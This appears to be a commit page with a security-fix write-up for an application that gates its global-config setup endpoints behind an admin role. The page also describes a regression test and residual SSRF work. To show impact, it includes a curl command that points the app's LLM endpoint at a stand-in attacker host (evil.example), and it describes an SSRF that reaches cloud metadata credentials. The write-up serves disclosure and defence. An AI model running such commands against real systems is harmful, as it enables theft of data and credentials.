Commit 29de992
fix(security): require admin for global-config endpoints in SetupController (#110)
## The problem
`SetupController` carried **no authorization of any kind** — no
`@PreAuthorize`, no `assertCan*` call. `SecurityConfig` reaches it only
through `.anyRequest().authenticated()`, so **every authenticated user,
the lowest role included, could call all seven endpoints.**
Its own javadoc said *"All other endpoints require an authenticated
user."* That sentence is **true**, which is what made it dangerous — it
reads like a security guarantee while describing only authentication.
### Impact
**1. Silent interception of all LLM traffic.** `POST /setup/llm-config`
writes the provider, endpoint and API key into `system_config`, and
`LlmConfigResolver.resolveChat()` consults the **database tier before
the environment tier**:
```java
LlmCredentials db = fromDatabase("chat");
if (db != null && !db.equals(invalidChatCredentials)) {
return db; // ← wins over a correct env config
}
```
So a low-privilege write silently overrode a correctly configured
production install, with **no restart and no error**. Every subsequent
chat turn, dashboard build and embedding — carrying schema, sampled rows
and query results — would flow to a host of the caller's choosing.
```bash
# as any DEVELOPER / DATA_ENGINEER / custom-role user
curl -b cookies.txt -X POST https://host/api/setup/llm-config \
-H 'Content-Type: application/json' \
-d '{"provider":"openai","apiKey":"sk-x","endpoint":"https://evil.example/v1"}'
```
**2. SSRF.** `POST /setup/llm-config/test` passed a caller-supplied
`endpoint` straight into `RestClient.baseUrl` with no scheme or host
validation — reaching cloud metadata (`169.254.169.254` → IAM
credentials) and internal-only services. Its error text is returned to
the caller, making it a usable port-scan oracle.
`/setup/organization` and `/setup/complete` were also open.
## Why no existing test caught it
`ConnectionScopedAuthorizationSafetyTest` scans for handlers taking a
`connectionId` or a `@PathVariable …Id`. `SetupController` takes
**neither** — plain request bodies only — so it was structurally
invisible and **the suite reported green over a critical hole.**
## The fix
```java
@RestController
@RequestMapping("/setup")
@PreAuthorize("hasRole('ADMIN')")
public class SetupController {
@PreAuthorize("permitAll()")
@GetMapping("/status") // pre-login first-run probe
@PreAuthorize("permitAll()")
@PostMapping("/initialize") // performs the first run
```
**No legitimate flow breaks.** The wizard lives at `/onboarding`,
already wrapped in `<ProtectedRoute>` (`App.jsx:129`), and the first
account is created by the bootstrap endpoint as an **ADMIN** — so the
only caller who reaches it already passes the gate.
`@EnableMethodSecurity(prePostEnabled = true)` is already set, so the
annotation is enforced.
## The regression test
`GlobalConfigAuthorizationSafetyTest` encodes the rule CLAUDE.md already
states in prose — *an endpoint with no connection scope at all is
admin-only* — for the shape the existing scanner cannot see. Source
scan, like `CorsAllowlistSafetyTest`, so it needs no DB/Redis/LLM
credentials.
**Two details were found by testing the test, not reading it:**
- `@RequestMapping` is excluded from the handler pattern — on these
controllers it is the class-level base path, and counting it produced a
phantom offender (`"/setup"`).
- The class-level check matches an annotation **at the start of a
line**, not `source.indexOf("@PreAuthorize")`. The first version used
`indexOf`, and the `import` line plus a javadoc mention both sit above
the class declaration — so deleting the real gate left the test **still
green**. Caught only by removing the annotation and re-running. (The
existing `ConnectionScopedAuthorizationSafetyTest` is noted to share
this weakness.)
A second test asserts the `permitAll` exemptions are still in
`SecurityConfig`'s list, so an exemption cannot outlive its reason.
## Verification
| Step | Result |
|---|---|
| Test before fix (RED) | fails, naming 5 endpoints: `/organization`,
`/llm-config` ×2, `/llm-config/test`, `/complete` |
| Test after fix (GREEN) | passes |
| Gate deleted (mutation) | fails again — proves it guards the fix |
| All 5 safety tests | **23 tests, 0 failures** |
| `mvn compile` | clean |
```bash
cd backend && mvn test -Dtest=GlobalConfigAuthorizationSafetyTest
```
## Residual work (deliberately not in this PR)
The SSRF primitive in `/setup/llm-config/test` is now admin-only, which
removes the privilege-escalation half but not the primitive itself. A
shared `OutboundUrlValidator` rejecting loopback/link-local/private
ranges after DNS resolution should be applied there and at the other
outbound sites (webhooks, Slack, connection creation) — a wider blast
radius, tracked separately.
Full write-up:
`docs/security/2026-09-10-setup-controller-authorization.md`
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>1 parent 38ad33a commit 29de992
4 files changed
Lines changed: 365 additions & 3 deletions
File tree
- backend/src
- main/java/com/dbaagent/controller
- test/java/com/dbaagent/controller
- docs/security
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
839 | 839 | | |
840 | 840 | | |
841 | 841 | | |
| 842 | + | |
| 843 | + | |
| 844 | + | |
| 845 | + | |
| 846 | + | |
| 847 | + | |
| 848 | + | |
| 849 | + | |
| 850 | + | |
| 851 | + | |
| 852 | + | |
| 853 | + | |
| 854 | + | |
| 855 | + | |
| 856 | + | |
| 857 | + | |
| 858 | + | |
| 859 | + | |
| 860 | + | |
| 861 | + | |
842 | 862 | | |
843 | 863 | | |
844 | 864 | | |
| |||
Lines changed: 24 additions & 3 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
8 | 8 | | |
9 | 9 | | |
10 | 10 | | |
| 11 | + | |
11 | 12 | | |
12 | 13 | | |
13 | 14 | | |
| |||
17 | 18 | | |
18 | 19 | | |
19 | 20 | | |
20 | | - | |
21 | | - | |
22 | | - | |
| 21 | + | |
| 22 | + | |
| 23 | + | |
| 24 | + | |
| 25 | + | |
| 26 | + | |
| 27 | + | |
| 28 | + | |
| 29 | + | |
| 30 | + | |
| 31 | + | |
| 32 | + | |
| 33 | + | |
| 34 | + | |
| 35 | + | |
| 36 | + | |
| 37 | + | |
| 38 | + | |
| 39 | + | |
| 40 | + | |
23 | 41 | | |
24 | 42 | | |
25 | 43 | | |
26 | 44 | | |
27 | 45 | | |
| 46 | + | |
28 | 47 | | |
29 | 48 | | |
30 | 49 | | |
| |||
57 | 76 | | |
58 | 77 | | |
59 | 78 | | |
| 79 | + | |
60 | 80 | | |
61 | 81 | | |
62 | 82 | | |
| |||
87 | 107 | | |
88 | 108 | | |
89 | 109 | | |
| 110 | + | |
90 | 111 | | |
91 | 112 | | |
92 | 113 | | |
| |||
Lines changed: 183 additions & 0 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
| 1 | + | |
| 2 | + | |
| 3 | + | |
| 4 | + | |
| 5 | + | |
| 6 | + | |
| 7 | + | |
| 8 | + | |
| 9 | + | |
| 10 | + | |
| 11 | + | |
| 12 | + | |
| 13 | + | |
| 14 | + | |
| 15 | + | |
| 16 | + | |
| 17 | + | |
| 18 | + | |
| 19 | + | |
| 20 | + | |
| 21 | + | |
| 22 | + | |
| 23 | + | |
| 24 | + | |
| 25 | + | |
| 26 | + | |
| 27 | + | |
| 28 | + | |
| 29 | + | |
| 30 | + | |
| 31 | + | |
| 32 | + | |
| 33 | + | |
| 34 | + | |
| 35 | + | |
| 36 | + | |
| 37 | + | |
| 38 | + | |
| 39 | + | |
| 40 | + | |
| 41 | + | |
| 42 | + | |
| 43 | + | |
| 44 | + | |
| 45 | + | |
| 46 | + | |
| 47 | + | |
| 48 | + | |
| 49 | + | |
| 50 | + | |
| 51 | + | |
| 52 | + | |
| 53 | + | |
| 54 | + | |
| 55 | + | |
| 56 | + | |
| 57 | + | |
| 58 | + | |
| 59 | + | |
| 60 | + | |
| 61 | + | |
| 62 | + | |
| 63 | + | |
| 64 | + | |
| 65 | + | |
| 66 | + | |
| 67 | + | |
| 68 | + | |
| 69 | + | |
| 70 | + | |
| 71 | + | |
| 72 | + | |
| 73 | + | |
| 74 | + | |
| 75 | + | |
| 76 | + | |
| 77 | + | |
| 78 | + | |
| 79 | + | |
| 80 | + | |
| 81 | + | |
| 82 | + | |
| 83 | + | |
| 84 | + | |
| 85 | + | |
| 86 | + | |
| 87 | + | |
| 88 | + | |
| 89 | + | |
| 90 | + | |
| 91 | + | |
| 92 | + | |
| 93 | + | |
| 94 | + | |
| 95 | + | |
| 96 | + | |
| 97 | + | |
| 98 | + | |
| 99 | + | |
| 100 | + | |
| 101 | + | |
| 102 | + | |
| 103 | + | |
| 104 | + | |
| 105 | + | |
| 106 | + | |
| 107 | + | |
| 108 | + | |
| 109 | + | |
| 110 | + | |
| 111 | + | |
| 112 | + | |
| 113 | + | |
| 114 | + | |
| 115 | + | |
| 116 | + | |
| 117 | + | |
| 118 | + | |
| 119 | + | |
| 120 | + | |
| 121 | + | |
| 122 | + | |
| 123 | + | |
| 124 | + | |
| 125 | + | |
| 126 | + | |
| 127 | + | |
| 128 | + | |
| 129 | + | |
| 130 | + | |
| 131 | + | |
| 132 | + | |
| 133 | + | |
| 134 | + | |
| 135 | + | |
| 136 | + | |
| 137 | + | |
| 138 | + | |
| 139 | + | |
| 140 | + | |
| 141 | + | |
| 142 | + | |
| 143 | + | |
| 144 | + | |
| 145 | + | |
| 146 | + | |
| 147 | + | |
| 148 | + | |
| 149 | + | |
| 150 | + | |
| 151 | + | |
| 152 | + | |
| 153 | + | |
| 154 | + | |
| 155 | + | |
| 156 | + | |
| 157 | + | |
| 158 | + | |
| 159 | + | |
| 160 | + | |
| 161 | + | |
| 162 | + | |
| 163 | + | |
| 164 | + | |
| 165 | + | |
| 166 | + | |
| 167 | + | |
| 168 | + | |
| 169 | + | |
| 170 | + | |
| 171 | + | |
| 172 | + | |
| 173 | + | |
| 174 | + | |
| 175 | + | |
| 176 | + | |
| 177 | + | |
| 178 | + | |
| 179 | + | |
| 180 | + | |
| 181 | + | |
| 182 | + | |
| 183 | + | |
0 commit comments